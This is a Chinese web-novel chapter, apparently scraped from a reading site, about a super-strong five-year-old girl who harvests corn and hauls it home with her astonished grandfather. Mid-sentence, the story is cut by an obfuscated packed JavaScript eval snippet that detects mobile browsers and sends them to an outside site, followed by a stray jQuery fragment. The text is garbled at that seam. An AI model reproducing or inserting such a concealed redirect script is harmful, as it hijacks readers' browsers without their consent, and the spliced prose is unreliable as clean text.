程野从中间找了一垄玉米地开始掰。有的地方掰玉米是直接整个儿玉米连皮带玉米掰回去，她家不这样，她家要将玉米皮和穗须都剥干净才掰下来。
程野力气大，只见她双手沿着玉米尖，分开玉米皮和穗须，同时往两边用力扒开，然后“咔”一声，整个儿玉米就下来了。一窝玉米两根杆儿，两颗玉米，唰唰唰不一会儿，一排玉米她被她掰完。
她力气大，不背背篓，掰下玉米直接往地头一处扔。一开始她拿不住力气，成熟的玉米扔过去的时候还会飞几颗出去，后面熟悉力道后，连声音都几乎听不见。
掰玉米是个辛苦活，程野才五岁，身高一米出头。程铁木种的玉米品种杆子高，有的玉米结得高，她还得踮起脚尖掰。而且玉米叶很扎人，叶尖边缘像锋利的刀子，稍不注意，脸上就会添几道血棱子。
所以出门的时候程野特意多带了一件衣服，这会子衣服正包裹在她头上脖子上。
程铁木在地头那边掰玉米，他做事认真，做起来不太会注意外界，眼里只有面前的玉米。忽然他听见不远处刺啦刺啦的声音，玉米杆子也在不停摇晃。
他停下来，仔细瞧，没瞧见人影儿，难道是蛇？
程铁木有些不放心，他今儿个把几个娃子都带出来了，看这动静，不像小蛇，要是大蟒蛇那要遭。这块地挨着凤凰岭，前些年听见人说在凤凰岭看到过大蟒蛇。
程铁木悄悄竖起扁担，踮手踮脚轻轻挪，眼见玉米杆子摇晃幅度越来越大，也越来越近，他一扁担提起，见势要砍下去——
“汪！”
狼青的声音忽然响起。
程铁木倏然顿住。
是狼青！不是蛇。
再一看，嘿呦，这不是他孙女程野嘛。
“程野，你怎么从中间掰，从边上掰就可以了。”吓他一跳，还以为是蟒蛇。结果是家里的娃子，五岁的娃娃实在太矮，站起来还没有玉米高，他心里突然有点愧疚，这还没玉米高呢，等下回去还是不让她们来了，在家里帮老婆子烧烧火剥剥玉米吧。
“还有你头上包的啥，黑乎乎的，看都看不见。”刚刚要不是狼青叫一声，他差点一扁担砍她头上，程铁木十分后怕，心脏砰砰跳，像簸箩压在上头捶打。
“阿爷，玉米叶划脸我才包的。”程野有些委屈，她包个头而已，又不影响掰玉米。
程铁木哑口无言，半晌，“瞎讲究。”
程野没有理他，自顾自掰玉米，只见她掰下玉米，轻轻往身后一甩，玉米呈抛物线，悄然落入玉米堆，这边新的玉米接着咔一下又下来了，又抛出去，动作眼花缭乱，却又乱中有序。
谁教她恁个掰苞米的？
程铁木几十年掰玉米的经验碎裂后砸了一地，他不明白程野到底是怎样将玉米掰下来再丢出去的，一个小娃娃，咋个像长了几十双手呢？
“你这是……这是在掰苞米？”
“昂？”不然咧？程野头也没抬。
她身后大半块玉米地，掰开的玉米皮还留在杆儿上，仿佛无声宣告它们失去了果实。
“大半块都掰完了？”
“嗯。”
“……”程铁木能怎么办呢，他默默转身，第一次这个老人的背影看起来有些萧瑟。
他去找自己的大箩筐，这第二框才掰了一半，两筐都还没有装满，结果他小孙女用行动告诉她这块地差不多已经要掰完了。眼下这箩筐已经满足不了程野的劳动成果，他挑起箩篼，到玉米堆装满后默默回家。
程铁木打开谷仓，从里面掏出十多个麻皮袋子，以前是装尿素肥的，洗干净后就用来装稻谷。这年头农业税还没有取消，每年交税都是用这些袋子装起来拉到镇上。
这还是他第一次用来装玉米。
果不其然，等他再次到地里的时候，程野第二块地也掰了大半，这时天才将将大亮。
“哎哟，铁木你来了，瞧瞧你养的好孙女哟，才点点大就知道帮忙干活，福气好哦！”
邻边的地是何阿婆家的，她家出来的晚，到的时候程铁木已经挑玉米回家了，只看到几个小娃子在地里掰玉米。不过她只看到边上的程青莲两姐妹，没有看见程野，只以为程野没来。
“哪里哪里。”程铁木尴尬笑两声。
程青莲两姐妹更是瑟缩在地头，一层一层剥玉米叶子，程野太恐怖了，她一个人掰完了一块玉米地！一块啊！
原来程青凤久久没有看到程野，以为她悄悄找地儿偷懒睡觉，程青莲也不服气，吱使程青凤去找人。
结果过去就看到程野掰玉米跟玩儿似的，一秒一个，咔嚓声仿佛在脖子边炸开。她脸色大变，急忙跑回去和程青莲说，“程野咔嚓一下一个，掰得好快，比爷爷还快，我怕，不敢喊她。”
“真的？”程青莲将信将疑。
“不信你去自己去看。”
看就看，程青莲不大相信，也咚咚跑过去，结果她也一脸惨白地跑回来。这下啥话也不说，默默地掰玉米，速度比刚刚快了一些。
跟霜打了似的两姐妹，听到何阿婆的夸奖，莫名地打了个冷战，也不敢搭话。程铁木也没有和何阿婆解释玉米是程野掰的，是以程野的惊人举动暂时没有外人发现。
“你俩也别出去乱说。”程铁木悄悄嘱咐两姐妹，程野才五岁，他活了大半辈子，从来没有见过哪个娃娃才五岁就这么能干，直觉中，他下意识想瞒着一二。
接下来程青莲两姐妹没有掰玉米，她们被安排把玉米装麻袋里，邻地的何阿婆也掰到了另一边，没有发现这边的猫腻。
不过这边程野也碰到点突发情况，她正在收拢边角的玉米，玉米地斜坡下方是一片树林子，林子不大，下面还有个小池塘，是别人蓄水浇地用的。
“汪！汪！”狼青高声叫唤，声音异样，短促而又急切，听着和平时不同，一连几声，引起了程野的注意。
她朝声音处望去，一只灰麻兔从玉米地窜出，狼青在后面紧紧跟着，灰麻兔忙乱中一头撞到树上，撞得眼冒金星，原地乱转，它身后的狼青见状，一口咬上去，咬住了它的后腿。
狼青咬着兔腿不好叫，呜呜哼着，而且兔子还没有死，被咬住后腿，疼得它下意识四肢乱蹬，狼青脸被蹬了几脚，咬得愈发狠了。
程野连忙跑过去，一玉米棒子敲下去，灰麻兔终于晕了。
“真棒！”程野摸摸狼青的脑袋，“好狗子！”
狼青得了夸奖，挺胸抬头，越发精神抖擞。
等程铁木看到兔子的时候，又看到摇着尾巴得意洋洋的狼青，就知道是这狗抓的。“不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15590142|171863||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
错！没白养！”
三块玉米地在程野的超常发挥下，才将将一个钟头就结束了。这里的玉米杆子也不会放任放着，等早饭吃过后，兰小花会来割倒后晾晒在地里，等干完了再捆成捆，拖回家当柴烧。
“阿爷，镰刀带了没有，我把玉米杆砍了。”
“诶？好，带、带了。”
于是程野继续唰唰唰砍玉米杆儿，等她砍得差不多了，程铁木才把所有的玉米装袋打包好，堆在地头像一座小山。
“阿爷？”
“啊？”程铁木有些茫然，纵然他心里早有预感，可是再次看到现实，还是忍不住怀疑。他忍不住抬头望天，太阳像他吃的咸鸭蛋黄，暖暖的，不刺眼。
这才出门不过一个小时，三块地就这样掰完了，玉米杆儿也砍完了，有些凄凉的躺在暖乎的庄稼地里。
“程野，累不累，要不你先回去休息会儿？”
程野摇摇头，看着小山高的玉米堆，这些按照以往都是她阿爷一挑一挑挑回家的。如今，她有能力给他分担些，程野也不想再看到老人这么劳累。
程野的爸爸叫程四流，程铁木四个儿子名字是按照“江海河流”取的，程四流排行老四，程铁木生程德江的时候已经41岁了，今年程四流28岁，也就说程铁木现在也69岁了。
69岁在城里已经是退休多年的老人，在农村却还是个耕种十多亩地的壮劳力。
“阿爷，我记得二爷爷家有拖板车，咱去借来拖玉米。”
“地头爬坡上坎的，拖板车没有用。”不仅没有用，遇到下坡，拖板车直接连物带车翻到在地，还容易砸伤人。家里很多地都是这种地形，拖板车不实用，所以程铁木宁愿费气费力挑回去，也没有想过用拖板车。
“阿爷，等下拖板车装好了，你在前头固定拉方向，我在后头用绳子稳住不倒不翻，咱们绕一截，走大马路那边回去。”
程铁木想到程野的大力气，莫名有些心动，“那我先挑一挑回去借了带来？”言语中，程铁木下意识开始信赖这个小孙女，忍不住跟着她的思维走。
“挑一挑干啥呀阿爷，拖车借来了，直接一车拖回去了。”
不多时，程铁木果然推着板车回来。
……等装好板车，程铁木先试了试稳定性，又让程野试，看能不能拖动。程野拖着走了几米，程铁木见可以，心中暗自咂舌，他今天已经被这个孙女震惊好几次，还是忍不住心惊。
按照先前计划他在前头拉，程野在后面推。等到下坡的时候，程野先做好往后拉的准备，程铁木才往下拉。
路上有个近乎垂直的陡坡，“程野，要下坡了，稳得住不？”程铁木看到陡坡有点后悔，刚刚不觉得，现在站在陡坡面前，看着小山高的玉米包，忍不住腿打闪闪。
“阿爷，我能行，要不我拖着把手推？”程铁木看她人都没有把手高，摇摇头，“还是按照刚刚说好的来吧。”
……陡坡呼啦啦的，速度有些快，但是还算稳当，程铁木仿佛觉得后面的玉米没有重量似的，他像拉了一个空车，等到了平坦的大马路上，程铁木忍不住抹一把额头上的冷汗。
真是信了邪了。
程铁木仍旧云里雾里，有些发懵。
他怎么可能信一个五岁的孩子的话？